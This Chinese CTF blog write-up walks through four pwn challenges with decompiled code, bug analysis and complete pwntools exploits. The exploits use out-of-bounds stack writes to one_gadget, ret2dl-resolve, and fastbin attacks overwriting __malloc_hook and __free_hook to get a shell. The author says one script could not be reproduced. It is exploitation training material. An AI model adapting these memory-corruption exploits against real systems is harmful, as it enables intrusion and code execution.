登录后台

页面导航

本文编写于 426 天前,最后修改于 119 天前,其中某些信息可能已经过时。

your pwn

参考地址:https://blog.csdn.net/qq_42037374/article/details/89929086

程序分析

先看一下程序的基本信息:是64位的程序,PIE开启,NX开启,relro没开全。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ida走一波~,main函数没问题,看sub_B35()函数:

_BOOL8 sub_B35()
{
  int v1; // [rsp+4h] [rbp-15Ch]
  int v2; // [rsp+8h] [rbp-158h]
  int i; // [rsp+Ch] [rbp-154h]
  char v4[64]; // [rsp+10h] [rbp-150h]
  char s; // [rsp+50h] [rbp-110h]
  unsigned __int64 v6; // [rsp+158h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(&s, 0, 0x100uLL);
  memset(v4, 0, 0x28uLL);
  for ( i = 0; i <= 40; ++i )
  {
    puts("input index");
    __isoc99_scanf("%d", &v1);
    printf("now value(hex) %x\n", (unsigned int)v4[v1]);
    puts("input new value");
    __isoc99_scanf("%d", &v2);
    v4[v1] = v2;
  }
  puts("do you want continue(yes/no)? ");
  read(0, &s, 0x100uLL);
  return strncmp(&s, "yes", 3uLL) == 0;
}

漏洞利用

数组那里存在越界读写,对v1没有检查,所以思路是先泄露栈中的某个返回地址,获取函数装载基地址,再查一下用的哪一版本libc库,用onegadget覆盖返回地址就ok了

具体步骤:

第一步,通过任意地址读,找到存在栈上的__libc_start_main + 240偏移后leak出libc基址。
第二步,找到栈上存的返回地址的偏移,并将其写为one_gadget。
第三步,让程序正常返回,劫持程序流到one_gadget来get shell。

真的是很太惨了,不会计算偏移,卡了两三个小时,终于在一位师傅的博客里找到了方法o(╥﹏╥)

from pwn import *

p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#step1 leak libc_base
p.recvuntil('name:')
p.sendline('test')
libc_leak = ''
for i in range(637 , 631 , -1):
    p.recvuntil('index\n')
    p.sendline(str(i))
    p.recvuntil('(hex) ')
    aa = p.recvuntil('\n')[:-1]
    if(len(aa) < 2):
        libc_leak += '0' + aa
    elif(len(aa) == 8):
        libc_leak += aa[-2:]
    else:
        libc_leak += aa
    p.recvuntil('value\n')
    p.sendline('1')
print libc_leak
libc.address = int('0x' + libc_leak , 16) - libc.symbols['__libc_start_main'] - 240
success('libc_base => ' + hex(libc.address))
one_gadget = 0xf02a4 + libc.address

#step2 overwrite EIP to one_gadget
for i in range(6):
    p.recvuntil('index\n')
    p.sendline(str(i + 344))
    p.recvuntil('value\n')
    p.sendline(str(ord(p64(one_gadget)[i])))

#Get Shell & Have Fun
#debug()
p.sendline('a')
p.recvuntil('(yes/no)? \n')
p.interactive()

baby_pwn

程序分析

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

就很明显的栈溢出,。但是程序中只有read函数可以利用,所以不能进行常规的ret_to_libc,只能用ret_2_dl_resolve。这道题和0ctf2016的babystack基本上是一样的,gdb调试确定偏移,然后用return to_dl_resolve即可

由于没有puts,write之类函数无法泄露got表内地址,无法知道libc版本,因此无法执行system函数。于是考虑采用ret2dl-resolve技术
首先查看.dynmaic是否可写.dynmaic的地址为0x08049F14,发现其不可写。

漏洞利用

首先实现溢出,执行read函数,在bss+0x800上构造虚假的第一个参数,Elf32_rel,Elf32_sym和st_name,和函数参数最后转移栈顶转移至bss+0x800。之后强制重定位,强制重定位后会自动执行重定位之后的函数system函数

import roputils
from pwn import *
read_plt = 0x08048390
bss = 0x0804a040
vul = 0x0804852d
p = process('./pwn') 
def getReloc(elf, base):
    jmprel = elf.dynamic('JMPREL')
    relent = elf.dynamic('RELENT')
    addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
    reloc_offset = addr_reloc - jmprel
    return reloc_offset

rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')
payload1 = '0' * 44
payload1 += p32(read_plt) + p32(vul) + p32(0) + p32(addr_bss) + p32(100)
p.send(payload1)
payload2 =  rop.string('sh')
payload2 += rop.fill(20, payload2)
payload2 += rop.dl_resolve_data(addr_bss+20, 'system')  
payload2 += rop.fill(100, payload2)
p.send(payload2)
payload3 = '0'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(payload3)
p.interactive()

Double

程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Info API test
----------
1.new info
2.show info
3.edit info
4.delete info
5.exit
----------

ida分析发现时单向链表结构

new_info注意看一下这个判断,如果我们输入两次相同的内容,第二次new的时候指针就会指向第一次内容的部分,现实中写代码也可以理解,节省空间嘛。其它功能都比较常规。

 if ( chain_end && !strcmp(chain_end->content, &s2) )
    {
      NEW_info->index = v3->index + 1;
      NEW_info->size = v3->size;
      NEW_info->content = v3->content;
      NEW_info->next_info = 0LL;
      v3->next_info = NEW_info;
      chain_end = NEW_info;
    }

漏洞利用

先连续申请两个相同的content,大小为unsorted bin的chunk大小,这样,free掉其中一个,把另一个打印出来时就会泄露出main_arena中的某个地址,可以推出libc的地址。然后再连续申请两个相同的content,大小为fastbin的chunk大小,free掉其中一个,使用edit功能修改另一个的content时,就可以修改fastbin中那个chunk的fd指针,使其指向malloc_hook附近,再连续分配两次,就可以分到一个malloc_hook附近的fake_chunk,第二次申请的时候顺便用onegadget填充malloc_hook即可。

自闭。。。自己敲得exp无法复现....

#-*-coding:utf8-*-
from pwn import *
 

p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
 
def new(content):
    p.sendlineafter('> ','1')
    p.sendlineafter('Your data:',content)
 
def show(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('Info index: ',str(index))
 
def edit(index,new_content):
    p.sendlineafter('> ','3')
    p.sendlineafter('Info index: ',str(index))
    p.sendline(new_content)
 
def delete(index):
    p.sendlineafter('> ','4')
    p.sendlineafter('Info index: ',str(index))
 
 

new('a'*128) #0
new('a'*128) #1
delete(0) #0
show(1)
libc_addr = u64(p.recvn(6).ljust(8,'\x00')) - 0x3c4b78
    
libc.address = libc_addr
log.success(hex(libc.address))
malloc_hook = libc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x1b -8
log.success('__malloc_hook : ' + hex(malloc_hook))
one_gadget = libc.address + 0x4526a
new('b'*0x60) #2
new('b'*0x60) #3
delete(2) #2
payload1 = p64(fake_chunk).ljust(0x60,'\x00')
edit(3,payload1)
payload2 = 'a'*(0x13)+p64(one_gadget)
payload2 = payload2.ljust(0x60,'\x00')
new('c'*0x60) #4
new(payload2) #5
p.sendlineafter('> ','1')
p.interactive()

daily

漏洞分析

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
============================
Daily choice
============================
1.show the daily
2.add a new pages
3.change the things in the daily
4.remove the things in the daily
5.exit
============================

申请chunk的时候没有清空,导致地址泄漏。
free的时候没有对数组越界进行检查,在获得堆地址后,可以计算偏移直接越界并进行fastbin attack(在堆中特定位置写入要double free的chunk的地址)。

if ( list[index].content )
    {
      free(list[index].content);
      list[index].content = 0LL;
      LODWORD(list[index].size) = 0;
      puts("remove successful!!");
      --counter;
    }

漏洞利用

看这里的解析吧~https://carlstar.club/2019/06/17/ciscn2019/#daily

1、leak libc && heap(利用 unsortedbin,申请 4 个分别 free 其中不相邻的 2 个,free 连续的话和会触发glibc机制把堆块合并,unsortedbin 为 double link,会携带我们需要的信息)
2、把之前 leak 所构造的堆结构都 free 掉
3、因为在 remove 的时候会 (_QWORD )&dword_602060[4 v1 + 2] = 0LL;dword_602060[4 v1] = 0;所以我们不能 uaf。但是我们直接 free 堆上的地址,那么 bss 段就会保存我们之前的堆地址
4、计算好 offset 后把堆 free 到 fastbin,然后 fastbin attack
5、然后控制了 fd 不就为所欲为了么~ 改 free_hook 到 system 堆头布置参数/bin/shx00

from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

t = process('./pwn')


def new(length, data):
    t.sendlineafter('choice:', '2')
    t.sendafter('daily:', str(length))
    t.sendafter('daily', data)


def show():
    t.sendlineafter('choice:', '1')


def free(index):
    t.sendlineafter('choice:', '4')
    t.sendafter('daily:', str(index))


def edit(index, data):
    t.sendlineafter('choice:', '3')
    t.sendlineafter('daily:',str(index))
    t.sendlineafter('new daily', data)




raw_input()
new(0x100,'a' * 8)#0
new(0x100,'b' * 8)#1
new(0x100,'c' * 8)#2
new(0x100,'c' * 8)#3
free(0)
free(2)
new(0x100,'d' * 8)
new(0x100,'d' * 8)
show()

t.recvuntil('dddddddd')
addr_heap = u64(t.recv(4).ljust(8,'\x00')) - 0x220
t.recvuntil('dddddddd')
addr_libc = u64(t.recv(6).ljust(8,'\x00')) - 0x10 - 0x58 - 0x3c4b10
log.info('addr_heap ' + hex(addr_heap))
log.info('addr_libc ' + hex(addr_libc))
addr_free = addr_libc + 0x3c67a8
addr_sys = addr_libc +     0x045390

free(0)
free(1)
free(2)
free(3)
new(0x30 , 'a' * 8 + p64(addr_heap + 0x10))
offset = (addr_heap - 0x602060) / 16 + 1
free(offset)
new(0x40 , cyclic(40))
edit(0 , p64(0x602068))
new(0x30 , '/bin/sh\x00') 
new(0x30 , p64(addr_free))    
edit(1 , p64(addr_sys))

free(0)
t.interactive()